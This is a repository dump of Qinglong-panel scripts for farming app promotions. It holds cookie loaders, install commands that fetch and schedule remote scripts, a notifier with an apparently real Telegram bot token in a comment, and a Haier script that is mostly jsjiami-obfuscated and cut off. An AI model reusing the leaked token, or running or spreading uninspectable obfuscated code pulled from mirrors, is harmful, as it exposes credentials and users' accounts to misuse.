├── .gitignore ├── m_mtCookie.js ├── README.md ├── utils ├── ql.js └── sendNotify.py ├── expire ├── m_haier.js └── m_xhn.js ├── dyjsb.js ├── m_gqsl.js └── m_dygy.js /.gitignore: -------------------------------------------------------------------------------- 1 | /other/node_modules 2 | /other/*.lock 3 | /other/package.json 4 | *.test.js 5 | /jd_enen.js 6 | -------------------------------------------------------------------------------- /m_mtCookie.js: -------------------------------------------------------------------------------- 1 | //环境变量 MTMC_COOKIE 2 | let cookies = [ 3 | ]; 4 | 5 | // 判断环境变量里面是否有ck 6 | if (process.env.MTMC_COOKIE) { 7 | if (process.env.MTMC_COOKIE.indexOf('&') > -1) { 8 | console.log(`您的cookie选择的是用&隔开\n`) 9 | cookies = process.env.MTMC_COOKIE.split('&'); 10 | } else if (process.env.MTMC_COOKIE.indexOf('\n') > -1) { 11 | console.log(`您的cookie选择的是用换行隔开\n`) 12 | cookies = process.env.MTMC_COOKIE.split('\n'); 13 | } else { 14 | cookies = [process.env.MTMC_COOKIE]; 15 | } 16 | } 17 | 18 | module.exports = cookies; -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Sheep_Hair 2 | 3 | ### 羊毛仓库 拉库命令 4 | 5 | 国内 6 | ```shell 7 | ql repo https://github.91chi.fun//https://github.com/FengYun27/Sheep_Hair.git "m_" "expire" "ql|sendNotify|root|untitled" 8 | 9 | 30 0/15 * * * ? 10 | ``` 11 | 国外 12 | ```shell 13 | ql repo https://github.com/FengYun27/Sheep_Hair.git "m_" "expire" "ql|sendNotify|root|untitled" 14 | 15 | 30 0/15 * * * ? 16 | ``` 17 | #### 单拉羊毛脚本 18 | - [羊毛脚本列表](#羊毛) 19 | 20 | 国外 21 | 22 | ```shell 23 | ql raw https://raw.githubusercontent.com/FengYun27/Sheep_Hair/main/<脚本名称>.js 24 | ``` 25 | 26 | 国内 27 | 28 | ```shell 29 | ql raw https://github.91chi.fun//https://raw.githubusercontent.com/FengYun27/Sheep_Hair/main/<脚本名称>.js 30 | ``` 31 | 32 | ## 羊毛 33 | - 抖音果园 m_dygy.js 34 | - 滴滴果园 m_ddgy.js 35 | - 广汽三菱 m_gqsl.js 36 | - 快手普通版 m_ks.js 37 | - 快手极速版 m_ksjsb.js 38 | - 腾讯自选股v2 m_txzzg.js 39 | - [快手水果](#快手水果) 40 | ### 第三方 41 | #### 快手水果 42 | ```shell 43 | ql repo ttps://github.91chi.fun//https://github.com/passerby-b/ks_fruit.git 44 | ``` 45 | 46 | ## 依赖 47 | ### NodeJs 48 | - axios 49 | - jsdom 50 | - ts-md5 51 | - moment 52 | - png-js 53 | - date-fns 54 | 55 | ### Python 56 | - PyExecJS 57 | - json5 58 | - requests 59 | - pycryptodomex 60 | 61 | # Special statement 62 | 63 | * Any unlocking and decryption analysis scripts involved in the Script project released by this warehouse are only used for testing, learning and research, and are forbidden to be used for commercial purposes. Their legality, accuracy, completeness and effectiveness cannot be guaranteed. Please make your own judgment based on the situation. . 64 | 65 | * All resource files in this project are forbidden to be reproduced or published in any form by any official account or self-media. 66 | 67 | * This warehouse is not responsible for any script problems, including but not limited to any loss or damage caused by any script errors. 68 | 69 | * Any user who indirectly uses the script, including but not limited to establishing a VPS or disseminating it when certain actions violate national/regional laws or related regulations, this warehouse is not responsible for any privacy leakage or other consequences caused by this. 70 | 71 | * Do not use any content of the Script project for commercial or illegal purposes, otherwise you will be responsible for the consequences. 72 | 73 | * If any unit or individual believes that the script of the project may be suspected of infringing on their rights, they should promptly notify and provide proof of identity and ownership. We will delete the relevant script after receiving the certification document. 74 | 75 | * Anyone who views this item in any way or directly or indirectly uses any script of the Script item should read this statement carefully. This warehouse reserves the right to change or supplement this disclaimer at any time. Once you have used and copied any relevant scripts or rules of the Script project, you are deemed to have accepted this disclaimer. 76 | 77 | **You must completely delete the above content from your computer or mobile phone within 24 hours after downloading.**
78 | > ***You have used or copied any script made by yourself in this warehouse, it is deemed to have accepted this statement, please read it carefully*** 79 | 80 | ## 呜谢 81 | 82 | 以下排名不分先后 83 | - [ccwav](https://github.com/ccwav) 84 | - [Orz-3](https://github.com/Orz-3) 85 | - [shufflewzc](https://github.com/shufflewzc) 86 | - [whyour](https://github.com/whyour) 87 | - [萝卜](https://t.me/Luobook666) 88 | - [left](https://github.com/leafxcy) 89 | - ...... 90 | -------------------------------------------------------------------------------- /utils/ql.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | const got = require('got'); 4 | require('dotenv').config(); 5 | const { readFile } = require('fs/promises'); 6 | const path = require('path'); 7 | 8 | const qlDir = '/ql'; 9 | const authFile = path.join(qlDir, 'config/auth.json'); 10 | 11 | const api = got.extend({ 12 | prefixUrl: 'http://127.0.0.1:5600', 13 | retry: { limit: 0 }, 14 | }); 15 | 16 | async function getToken () { 17 | const authConfig = JSON.parse(await readFile(authFile)); 18 | return authConfig.token; 19 | } 20 | 21 | module.exports.getEnvs = async () => { 22 | const token = await getToken(); 23 | const body = await api({ 24 | url: 'api/envs', 25 | searchParams: { 26 | searchValue: 'JD_COOKIE', 27 | t: Date.now(), 28 | }, 29 | headers: { 30 | Accept: 'application/json', 31 | authorization: `Bearer ${token}`, 32 | }, 33 | }).json(); 34 | return body.data; 35 | }; 36 | 37 | module.exports.getEnvsCount = async () => { 38 | const data = await this.getEnvs(); 39 | return data.length; 40 | }; 41 | 42 | module.exports.addEnv = async (cookie, remarks) => { 43 | const token = await getToken(); 44 | const body = await api({ 45 | method: 'post', 46 | url: 'api/envs', 47 | params: { t: Date.now() }, 48 | json: [{ 49 | name: 'JD_COOKIE', 50 | value: cookie, 51 | remarks, 52 | }], 53 | headers: { 54 | Accept: 'application/json', 55 | authorization: `Bearer ${token}`, 56 | 'Content-Type': 'application/json;charset=UTF-8', 57 | }, 58 | }).json(); 59 | return body; 60 | }; 61 | 62 | module.exports.updateEnv = async (cookie, eid, remarks) => { 63 | const token = await getToken(); 64 | const body = await api({ 65 | method: 'put', 66 | url: 'api/envs', 67 | params: { t: Date.now() }, 68 | json: { 69 | name: 'JD_COOKIE', 70 | value: cookie, 71 | _id: eid, 72 | remarks, 73 | }, 74 | headers: { 75 | Accept: 'application/json', 76 | authorization: `Bearer ${token}`, 77 | 'Content-Type': 'application/json;charset=UTF-8', 78 | }, 79 | }).json(); 80 | return body; 81 | }; 82 | 83 | module.exports.updateEnv11 = async (cookie, eid, remarks) => { 84 | const token = await getToken(); 85 | const body = await api({ 86 | method: 'put', 87 | url: 'api/envs', 88 | params: { t: Date.now() }, 89 | json: { 90 | name: 'JD_COOKIE', 91 | value: cookie, 92 | id: eid, 93 | remarks, 94 | }, 95 | headers: { 96 | Accept: 'application/json', 97 | authorization: `Bearer ${token}`, 98 | 'Content-Type': 'application/json;charset=UTF-8', 99 | }, 100 | }).json(); 101 | return body; 102 | }; 103 | 104 | module.exports.DisableCk = async (eid) => { 105 | const token = await getToken(); 106 | const body = await api({ 107 | method: 'put', 108 | url: 'api/envs/disable', 109 | params: { t: Date.now() }, 110 | body: JSON.stringify([eid]), 111 | headers: { 112 | Accept: 'application/json', 113 | authorization: `Bearer ${token}`, 114 | 'Content-Type': 'application/json;charset=UTF-8', 115 | }, 116 | }).json(); 117 | return body; 118 | }; 119 | 120 | module.exports.EnableCk = async (eid) => { 121 | const token = await getToken(); 122 | const body = await api({ 123 | method: 'put', 124 | url: 'api/envs/enable', 125 | params: { t: Date.now() }, 126 | body: JSON.stringify([eid]), 127 | headers: { 128 | Accept: 'application/json', 129 | authorization: `Bearer ${token}`, 130 | 'Content-Type': 'application/json;charset=UTF-8', 131 | }, 132 | }).json(); 133 | return body; 134 | }; 135 | 136 | module.exports.getstatus = async (eid) => { 137 | const envs = await this.getEnvs(); 138 | var tempid = 0; 139 | for (let i = 0; i < envs.length; i++) { 140 | tempid = 0; 141 | if (envs[i]._id) { 142 | tempid = envs[i]._id; 143 | } 144 | if (envs[i].id) { 145 | tempid = envs[i].id; 146 | } 147 | if (tempid == eid) { 148 | return envs[i].status; 149 | } 150 | } 151 | return 99; 152 | }; 153 | 154 | module.exports.getEnvById = async (eid) => { 155 | const envs = await this.getEnvs(); 156 | var tempid = 0; 157 | for (let i = 0; i < envs.length; i++) { 158 | tempid = 0; 159 | if (envs[i]._id) { 160 | tempid = envs[i]._id; 161 | } 162 | if (envs[i].id) { 163 | tempid = envs[i].id; 164 | } 165 | if (tempid == eid) { 166 | return envs[i].value; 167 | } 168 | } 169 | return ""; 170 | }; 171 | 172 | module.exports.getEnvByPtPin = async (Ptpin) => { 173 | const envs = await this.getEnvs(); 174 | for (let i = 0; i < envs.length; i++) { 175 | var tempptpin = decodeURIComponent(envs[i].value.match(/pt_pin=([^; ]+)(?=;?)/) && envs[i].value.match(/pt_pin=([^; ]+)(?=;?)/)[1]); 176 | if (tempptpin == Ptpin) { 177 | return envs[i]; 178 | } 179 | } 180 | return ""; 181 | }; 182 | 183 | module.exports.delEnv = async (eid) => { 184 | const token = await getToken(); 185 | const body = await api({ 186 | method: 'delete', 187 | url: 'api/envs', 188 | params: { t: Date.now() }, 189 | body: JSON.stringify([eid]), 190 | headers: { 191 | Accept: 'application/json', 192 | authorization: `Bearer ${token}`, 193 | 'Content-Type': 'application/json;charset=UTF-8', 194 | }, 195 | }).json(); 196 | return body; 197 | }; -------------------------------------------------------------------------------- /utils/sendNotify.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # _*_ coding:utf-8 _*_ 3 | 4 | import sys 5 | import os, re 6 | cur_path = os.path.abspath(os.path.dirname(__file__)) 7 | root_path = os.path.split(cur_path)[0] 8 | sys.path.append(root_path) 9 | import requests 10 | import json 11 | import time 12 | import hmac 13 | import hashlib 14 | import base64 15 | import urllib.parse 16 | from requests.adapters import HTTPAdapter 17 | from urllib3.util import Retry 18 | 19 | # 通知服务 20 | BARK = '' # bark服务,自行搜索; secrets可填; 21 | SCKEY = '' # Server酱的SCKEY; secrets可填 22 | TG_BOT_TOKEN = '' # tg机器人的TG_BOT_TOKEN; secrets可填1407203283:AAG9rt-6RDaaX0HBLZQq0laNOh898iFYaRQ 23 | TG_USER_ID = '' # tg机器人的TG_USER_ID; secrets可填 1434078534 24 | TG_API_HOST='' # tg 代理api 25 | TG_PROXY_IP = '' # tg机器人的TG_PROXY_IP; secrets可填 26 | TG_PROXY_PORT = '' # tg机器人的TG_PROXY_PORT; secrets可填 27 | DD_BOT_ACCESS_TOKEN = '' # 钉钉机器人的DD_BOT_ACCESS_TOKEN; secrets可填 28 | DD_BOT_SECRET = '' # 钉钉机器人的DD_BOT_SECRET; secrets可填 29 | QQ_SKEY = '' # qq机器人的QQ_SKEY; secrets可填 30 | QQ_MODE = '' # qq机器人的QQ_MODE; secrets可填 31 | QYWX_AM = '' # 企业微信 32 | PUSH_PLUS_TOKEN = '' # 微信推送Plus+ 33 | 34 | notify_mode = [] 35 | 36 | message_info = '''''' 37 | 38 | # GitHub action运行需要填写对应的secrets 39 | if "BARK" in os.environ and os.environ["BARK"]: 40 | BARK = os.environ["BARK"] 41 | if "SCKEY" in os.environ and os.environ["SCKEY"]: 42 | SCKEY = os.environ["SCKEY"] 43 | if "TG_BOT_TOKEN" in os.environ and os.environ["TG_BOT_TOKEN"] and "TG_USER_ID" in os.environ and os.environ["TG_USER_ID"]: 44 | TG_BOT_TOKEN = os.environ["TG_BOT_TOKEN"] 45 | TG_USER_ID = os.environ["TG_USER_ID"] 46 | if "TG_API_HOST" in os.environ and os.environ["TG_API_HOST"]: 47 | TG_API_HOST = os.environ["TG_API_HOST"] 48 | if "DD_BOT_ACCESS_TOKEN" in os.environ and os.environ["DD_BOT_ACCESS_TOKEN"] and "DD_BOT_SECRET" in os.environ and os.environ["DD_BOT_SECRET"]: 49 | DD_BOT_ACCESS_TOKEN = os.environ["DD_BOT_ACCESS_TOKEN"] 50 | DD_BOT_SECRET = os.environ["DD_BOT_SECRET"] 51 | if "QQ_SKEY" in os.environ and os.environ["QQ_SKEY"] and "QQ_MODE" in os.environ and os.environ["QQ_MODE"]: 52 | QQ_SKEY = os.environ["QQ_SKEY"] 53 | QQ_MODE = os.environ["QQ_MODE"] 54 | # 获取pushplus+ PUSH_PLUS_TOKEN 55 | if "PUSH_PLUS_TOKEN" in os.environ: 56 | if len(os.environ["PUSH_PLUS_TOKEN"]) > 1: 57 | PUSH_PLUS_TOKEN = os.environ["PUSH_PLUS_TOKEN"] 58 | # print("已获取并使用Env环境 PUSH_PLUS_TOKEN") 59 | # 获取企业微信应用推送 QYWX_AM 60 | if "QYWX_AM" in os.environ: 61 | if len(os.environ["QYWX_AM"]) > 1: 62 | QYWX_AM = os.environ["QYWX_AM"] 63 | # print("已获取并使用Env环境 QYWX_AM") 64 | 65 | if BARK: 66 | notify_mode.append('bark') 67 | # print("BARK 推送打开") 68 | if SCKEY: 69 | notify_mode.append('sc_key') 70 | # print("Server酱 推送打开") 71 | if TG_BOT_TOKEN and TG_USER_ID: 72 | notify_mode.append('telegram_bot') 73 | # print("Telegram 推送打开") 74 | if DD_BOT_ACCESS_TOKEN and DD_BOT_SECRET: 75 | notify_mode.append('dingding_bot') 76 | # print("钉钉机器人 推送打开") 77 | if QQ_SKEY and QQ_MODE: 78 | notify_mode.append('coolpush_bot') 79 | # print("QQ机器人 推送打开") 80 | 81 | if PUSH_PLUS_TOKEN: 82 | notify_mode.append('pushplus_bot') 83 | # print("微信推送Plus机器人 推送打开") 84 | if QYWX_AM: 85 | notify_mode.append('wecom_app') 86 | # print("企业微信机器人 推送打开") 87 | 88 | 89 | def message(str_msg): 90 | global message_info 91 | print(str_msg) 92 | message_info = "{}\n{}".format(message_info, str_msg) 93 | sys.stdout.flush() 94 | 95 | def bark(title, content): 96 | print("\n") 97 | if not BARK: 98 | print("bark服务的bark_token未设置!!\n取消推送") 99 | return 100 | print("bark服务启动") 101 | try: 102 | response = requests.get( 103 | f"""https://api.day.app/{BARK}/{title}/{urllib.parse.quote_plus(content)}""").json() 104 | if response['code'] == 200: 105 | print('推送成功!') 106 | else: 107 | print('推送失败!') 108 | except: 109 | print('推送失败!') 110 | 111 | def serverJ(title, content): 112 | print("\n") 113 | if not SCKEY: 114 | print("server酱服务的SCKEY未设置!!\n取消推送") 115 | return 116 | print("serverJ服务启动") 117 | data = { 118 | "text": title, 119 | "desp": content.replace("\n", "\n\n") 120 | } 121 | response = requests.post(f"https://sc.ftqq.com/{SCKEY}.send", data=data).json() 122 | if response['errno'] == 0: 123 | print('推送成功!') 124 | else: 125 | print('推送失败!') 126 | 127 | # tg通知 128 | def telegram_bot(title, content): 129 | try: 130 | print("\n") 131 | bot_token = TG_BOT_TOKEN 132 | user_id = TG_USER_ID 133 | if not bot_token or not user_id: 134 | print("tg服务的bot_token或者user_id未设置!!\n取消推送") 135 | return 136 | print("tg服务启动") 137 | if TG_API_HOST: 138 | if 'http' in TG_API_HOST: 139 | url = f"{TG_API_HOST}/bot{TG_BOT_TOKEN}/sendMessage" 140 | else: 141 | url = f"https://{TG_API_HOST}/bot{TG_BOT_TOKEN}/sendMessage" 142 | else: 143 | url = f"https://api.telegram.org/bot{TG_BOT_TOKEN}/sendMessage" 144 | 145 | headers = {'Content-Type': 'application/x-www-form-urlencoded'} 146 | payload = {'chat_id': str(TG_USER_ID), 'text': f'{title}\n\n{content}', 'disable_web_page_preview': 'true'} 147 | proxies = None 148 | if TG_PROXY_IP and TG_PROXY_PORT: 149 | proxyStr = "http://{}:{}".format(TG_PROXY_IP, TG_PROXY_PORT) 150 | proxies = {"http": proxyStr, "https": proxyStr} 151 | try: 152 | response = requests.post(url=url, headers=headers, params=payload, proxies=proxies).json() 153 | except: 154 | print('推送失败!') 155 | if response['ok']: 156 | print('推送成功!') 157 | else: 158 | print('推送失败!') 159 | except Exception as e: 160 | print(e) 161 | 162 | def dingding_bot(title, content): 163 | timestamp = str(round(time.time() * 1000)) # 时间戳 164 | secret_enc = DD_BOT_SECRET.encode('utf-8') 165 | string_to_sign = '{}\n{}'.format(timestamp, DD_BOT_SECRET) 166 | string_to_sign_enc = string_to_sign.encode('utf-8') 167 | hmac_code = hmac.new(secret_enc, string_to_sign_enc, digestmod=hashlib.sha256).digest() 168 | sign = urllib.parse.quote_plus(base64.b64encode(hmac_code)) # 签名 169 | print('开始使用 钉钉机器人 推送消息...', end='') 170 | url = f'https://oapi.dingtalk.com/robot/send?access_token={DD_BOT_ACCESS_TOKEN}×tamp={timestamp}&sign={sign}' 171 | headers = {'Content-Type': 'application/json;charset=utf-8'} 172 | data = { 173 | 'msgtype': 'text', 174 | 'text': {'content': f'{title}\n\n{content}'} 175 | } 176 | response = requests.post(url=url, data=json.dumps(data), headers=headers, timeout=15).json() 177 | if not response['errcode']: 178 | print('推送成功!') 179 | else: 180 | print('推送失败!') 181 | 182 | def coolpush_bot(title, content): 183 | print("\n") 184 | if not QQ_SKEY or not QQ_MODE: 185 | print("qq服务的QQ_SKEY或者QQ_MODE未设置!!\n取消推送") 186 | return 187 | print("qq服务启动") 188 | url=f"https://qmsg.zendee.cn/{QQ_MODE}/{QQ_SKEY}" 189 | payload = {'msg': f"{title}\n\n{content}".encode('utf-8')} 190 | response = requests.post(url=url, params=payload).json() 191 | if response['code'] == 0: 192 | print('推送成功!') 193 | else: 194 | print('推送失败!') 195 | # push推送 196 | def pushplus_bot(title, content): 197 | try: 198 | print("\n") 199 | if not PUSH_PLUS_TOKEN: 200 | print("PUSHPLUS服务的token未设置!!\n取消推送") 201 | return 202 | print("PUSHPLUS服务启动") 203 | url = 'http://www.pushplus.plus/send' 204 | data = { 205 | "token": PUSH_PLUS_TOKEN, 206 | "title": title, 207 | "content": content 208 | } 209 | body = json.dumps(data).encode(encoding='utf-8') 210 | headers = {'Content-Type': 'application/json'} 211 | response = requests.post(url=url, data=body, headers=headers).json() 212 | if response['code'] == 200: 213 | print('推送成功!') 214 | else: 215 | print('推送失败!') 216 | except Exception as e: 217 | print(e) 218 | # 企业微信 APP 推送 219 | def wecom_app(title, content): 220 | try: 221 | if not QYWX_AM: 222 | print("QYWX_AM 并未设置!!\n取消推送") 223 | return 224 | QYWX_AM_AY = re.split(',', QYWX_AM) 225 | if 4 < len(QYWX_AM_AY) > 5: 226 | print("QYWX_AM 设置错误!!\n取消推送") 227 | return 228 | corpid = QYWX_AM_AY[0] 229 | corpsecret = QYWX_AM_AY[1] 230 | touser = QYWX_AM_AY[2] 231 | agentid = QYWX_AM_AY[3] 232 | try: 233 | media_id = QYWX_AM_AY[4] 234 | except: 235 | media_id = '' 236 | wx = WeCom(corpid, corpsecret, agentid) 237 | # 如果没有配置 media_id 默认就以 text 方式发送 238 | if not media_id: 239 | message = title + '\n\n' + content 240 | response = wx.send_text(message, touser) 241 | else: 242 | response = wx.send_mpnews(title, content, media_id, touser) 243 | if response == 'ok': 244 | print('推送成功!') 245 | else: 246 | print('推送失败!错误信息如下:\n', response) 247 | except Exception as e: 248 | print(e) 249 | 250 | class WeCom: 251 | def __init__(self, corpid, corpsecret, agentid): 252 | self.CORPID = corpid 253 | self.CORPSECRET = corpsecret 254 | self.AGENTID = agentid 255 | 256 | def get_access_token(self): 257 | url = 'https://qyapi.weixin.qq.com/cgi-bin/gettoken' 258 | values = {'corpid': self.CORPID, 259 | 'corpsecret': self.CORPSECRET, 260 | } 261 | req = requests.post(url, params=values) 262 | data = json.loads(req.text) 263 | return data["access_token"] 264 | 265 | def send_text(self, message, touser="@all"): 266 | send_url = 'https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=' + self.get_access_token() 267 | send_values = { 268 | "touser": touser, 269 | "msgtype": "text", 270 | "agentid": self.AGENTID, 271 | "text": { 272 | "content": message 273 | }, 274 | "safe": "0" 275 | } 276 | send_msges = (bytes(json.dumps(send_values), 'utf-8')) 277 | respone = requests.post(send_url, send_msges) 278 | respone = respone.json() 279 | return respone["errmsg"] 280 | 281 | def send_mpnews(self, title, message, media_id, touser="@all"): 282 | send_url = 'https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=' + self.get_access_token() 283 | send_values = { 284 | "touser": touser, 285 | "msgtype": "mpnews", 286 | "agentid": self.AGENTID, 287 | "mpnews": { 288 | "articles": [ 289 | { 290 | "title": title, 291 | "thumb_media_id": media_id, 292 | "author": "Author", 293 | "content_source_url": "", 294 | "content": message.replace('\n', '
'), 295 | "digest": message 296 | } 297 | ] 298 | } 299 | } 300 | send_msges = (bytes(json.dumps(send_values), 'utf-8')) 301 | respone = requests.post(send_url, send_msges) 302 | respone = respone.json() 303 | return respone["errmsg"] 304 | 305 | def send(title, content): 306 | """ 307 | 使用 bark, telegram bot, dingding bot, serverJ 发送手机推送 308 | :param title: 309 | :param content: 310 | :return: 311 | """ 312 | content += '\n\n开源免费By: https://github.com/curtinlv/JD-Script' 313 | for i in notify_mode: 314 | if i == 'bark': 315 | if BARK: 316 | bark(title=title, content=content) 317 | else: 318 | print('未启用 bark') 319 | continue 320 | if i == 'sc_key': 321 | if SCKEY: 322 | serverJ(title=title, content=content) 323 | else: 324 | print('未启用 Server酱') 325 | continue 326 | elif i == 'dingding_bot': 327 | if DD_BOT_ACCESS_TOKEN and DD_BOT_SECRET: 328 | dingding_bot(title=title, content=content) 329 | else: 330 | print('未启用 钉钉机器人') 331 | continue 332 | elif i == 'telegram_bot': 333 | if TG_BOT_TOKEN and TG_USER_ID: 334 | telegram_bot(title=title, content=content) 335 | else: 336 | print('未启用 telegram机器人') 337 | continue 338 | elif i == 'coolpush_bot': 339 | if QQ_SKEY and QQ_MODE: 340 | coolpush_bot(title=title, content=content) 341 | else: 342 | print('未启用 QQ机器人') 343 | continue 344 | elif i == 'pushplus_bot': 345 | if PUSH_PLUS_TOKEN: 346 | pushplus_bot(title=title, content=content) 347 | else: 348 | print('未启用 PUSHPLUS机器人') 349 | continue 350 | elif i == 'wecom_app': 351 | if QYWX_AM: 352 | wecom_app(title=title, content=content) 353 | else: 354 | print('未启用企业微信应用消息推送') 355 | continue 356 | else: 357 | print('此类推送方式不存在') 358 | 359 | 360 | def main(): 361 | send('title', 'content') 362 | 363 | 364 | if __name__ == '__main__': 365 | main() -------------------------------------------------------------------------------- /expire/m_haier.js: -------------------------------------------------------------------------------- 1 | /* 2 | "0 0 8 * * ?" 3 | @肥皂 3.16 海尔活动 一天1-2元 红包有效期有一年吧,自己手动app里提现。。 4 | 下载海尔智家app,手机号登录,设置登录密码。退出登录,然后选择密码登录,抓包 5 | https://zj.haier.net/oauthserver/account/v2/login 6 | 请求的全部请求头和body 7 | 请求头变量名 :haierhd 自己格式化去。。 8 | body变量名: haierbody 多账号@分割 9 | */ 10 | var _0xodc = 'jsjiami.com.v6', _0xodc_ = ['‮_0xodc'], _0x12c8 = [_0xodc, 'wqQTWDPCpQ==', 'w6QcAgZw', 'IGwnwqcf', 'w50fwqJUw74=', 'f8ObVVLChQ==', 'woBGDcKoMQ==', 'DBAHXWs=', 'w6NgasOKCQ==', 'wqQTWDTCpw==', 'w50fwqJTw74=', 'XAvDkcO+MQ==', 'W8KMb8Obwo0=', 'PiDCmcKQfw==', 'wqQTWDTCog==', 'O8KpwqLDhMOz', 'w5XDocO3w6cc', 'wq7DmsKAZQw=', 'wo1gw7HDgBI=', 'wqJEE8O3a8KWwoXDiA==', '5pWw5oyb6I2P5Y2g5om/5YmH772g', 'w7QPwoHDhsOAw5cNwp/Dig==', 'RxDDhDoM', 'Wh3DkzYO', 'wqzDgX5rw5I=', 'wrjCosKnwqMp', 'w71Hw5sEwoE=', 'Un/CnMOAw6o=', 'Q8KNCjbDvA==', 'dea2oeWymeaLt+WlicObwo0=', 'wojCj8OFGVJdw6g=', 'wqvDp2hSw7M=', 'w5XCiMOEIEY=', 'w63CvsKh', 'FsKYDMOve3/DhcKtwqvCg8OUbMOHw5rlhI0=', 'TDrDpBkXw6E=', '5Lm06La95Y68e37Ct8KcWi/Do8OFw5kcLnFCwrE=', 'w7rCkcOEwprDngA=', 'WcKJMibDng==', 'WlXCjMK4QQ==', 'wqjDtnZIw6I=', 'wqfCnkQ=', 'UuW8oOWnveOBvua0quWymua2mOWKrQ==', 'wqXCpMKLwqUd', 'bBrCnw==', 'K8OoLiQ9w7vDnBI=', 'wrrCrMK5wood', 'dQfClA==', 'N8O1LzMrw5XDlw==', 'wrPCi1JJbg==', 'w61jw7YCwrUrw6tgdw==', 'wrh3w4HDjn/DtsOY', 'w4zCrcOGHzwsUg==', 'w7J4w6M=', 'WRxtfsOlWHbDlMOo', 'w7TCm8OOwoQ=', 'wqo1wrTCkUEcDA==', 'wpxMDg==', 'w6zCosKh', 'wqLCq8KCwqU=', 'X8OPCcKZw5o=', 'wpnCi8OFM1Q=', 'bFTCjsKv', 'ZSnDoC4W', 'w4zCvMOAEjM/WmvCpA==', 'GlvDsMOHwrlmw7U=', 'CsKbMAvDvhfDgQ==', 'MEFfCy/DpsOH', 'w6VAw7Q=', 'woA1Xl3Dr8KGw6zCtUs=', 'SAd7bg==', 'WMKOEAXDkMKLwrU=', 'ZUjChw==', 'U8KMFTfDiw==', '5rSF5bCq5raq5YiL', 'woTDuTPDvwg=', 'woPCo8K9wpcv', 'wqHCmUpmdg==', 'w4BVw6EPwps=', 'w68swovDrMO+', 'wqbCncKAwo4U', 'PVzDvcOiPg==', 'wpo4wrrCulE=', 'w64swqLDrsOq', 'AwRRw610', 'wpQfwqzCr20=', 'woxXwqVvw6Y=', 'NcOICB4L', 'bSjCmwbCmA==', 'w654w7cf', 'wqTCsGnCtVs=', 'w45nw4ULwoY=', 'A27DhcOuwrM=', 'wp8uSw==', 'wr/Cl2xhbA==', 'Sea2kOWyseeagOW/quWmuOi3le+8ig==', 'YsOERsKtHQ==', 'w7FcfU8z', 'Pl3DpcOMMQ==', 'wqBzw5LDmX8=', 'RGjCvcOhw7IqTA==', 'wrx9w4c=', 'wovmtJbls7Hnm5jlv7PvvqQ=', 'LMO+Px89w7zDng==', 'G8K3w7kr', 'O8KHVSHCuSXDtHlQ', 'SsKIBw7DhMKRwqDCtcOzwrrCn38=', 'wps5RmDDtA==', 'WCFzQMOY', 'wqdzw4nDng==', 'PMKMRCXCvA==', 'w6LCscOkwpvDjw==', 'wrAIT1nDoA==', 'wo7Djx/DpzQ=', 'wolAwqVOw7Nx', 'w5XCnMOSKFk=', 'G8KAeCrCgA==', 'woEmSWPDrA==', 'QwPDtj8M', 'w559ZFk3', 'w7Zjw7Abwqh2wq0pdMKhwpDDp8KvYz9ZFmkmw7V5TgFhOkPDmFrClMKvwp1Xw6spw7TCvizDsw3DisK+P8KJwrzDmXjDssOtwoXCr8KCAsKYIcOx', 'wq3DnALDgAs=', 'AsOcDADDrBfCgiBqH8KcEDbCiAHDpGkbwrnCo1TCiH5Hw51NwrRAwpDCvMO5w5TDjsOhNRN6Y8OoKMK8wo/DswxvCSbDlsKOwoTDoMKswqLCh8O0MQPCoWrCs8KmwqLCp8KgTMOww7DChQnDoMKbwpjCsEbDoB3CrGLDlsOdw6DDnD4BDcKDw53DjMKeSw==', 'wrw7wqY+wqgpw7ArT8Ksw5vDocK6KGAJGEosw7s/WAdhZR/DmQbDm8OpwpNzw68/wqLDnwzDlzHCnMKYGMOQwqLCj0bCsMKow4bCosKGM8OZH8O7wq3Crg9Uw4Zuw6w4worCqjfCuyduw4NQLcKSw4LCvxnDnm7DkgzDvsONLMOvbMKjLD1FdsOSw5fDjnJYw6ctecO4DjY/KcKKJw8QfcK1VVpeacOQwrEXw7HDpnYIG8OcB8KmU8O4UsOtG8K2MxVqacO4LMKrKsKpCiQEA8OBwoEPLsOawqHCizZ+fhLDqMK5OcKhw5FOwowIw5fCmkxRVCNzRS18w5TCrTpPw5FjbFovYcKqa8KPbGYgOgloNDRfwpDDrU7DrSwkw7fCpS3CgiAsCnfDpsKDwpzDuGDDocOPw4h0MG5USSMoBQPDjcKjSQtIw4HCoC40w4DDt8ObwrxwBcK4V0/DvMKSJ2XDqw/CpldBw4BGwooJdA==', 'wro8wqnCkE4cJMON', 'w6nDnQFiWxLCjMKuw4llwohAwrMPw5Z+w5RAw4Y=', 'wp3DpMKQCDItQW7CuMO0w5DDly7ChcObwqQOw4XCng==', 'AlHDosOX', 'OwzCjh3CqQ==', 'DcKXw4vCt8O8', 'Oix4w5hu', 'w5DCnsKswpZ3', 'PcKrByjDuA==', 'Qj3DshTDmMK8SQ==', 'e8Odw65KOA==', 'wrN+w47Dum4=', 'NE9R', 'w7Dmtp3lsqXmtavlipRyw4M=', 'w4LkuLHlirHCi2c=', 'Bjliw51DwpEr', 'wqjCpMK3wpUR', 'wpTmtaDlspDmtZDlibMFw4Y=', 'VOS4heWLpSbDmw==', 'UjnCrCPCsg==', '5rW45bKo5rWl5YmH', '5pSf5o+36Iyk5Yym5oub5Ymd772W', 'wqFow4nCvMO0', 'w6bClcOYwo7Djw==', 'UMOJLA7DgsKLw7bDm8K+w7HCgHvDhsKrCcKuwqrDsEh5wo/CisKhwqLDm8KvwoBXwpsGw5QBaVPDlnR5w6HDuTjDvXDCg8O2Q8OOJ8Oww6DDrEjCminDt8KcwoIxAcK6woAtw7rCncOPGF1pSiXCr8KGUMO+WcOcXDBbw4nDjcKkw6EYwqEEw5rCp8Kfwp7CsA==', 'wrw7wqYKwrgvw61zYMK/w6rDoMKlbzQJAiVj', 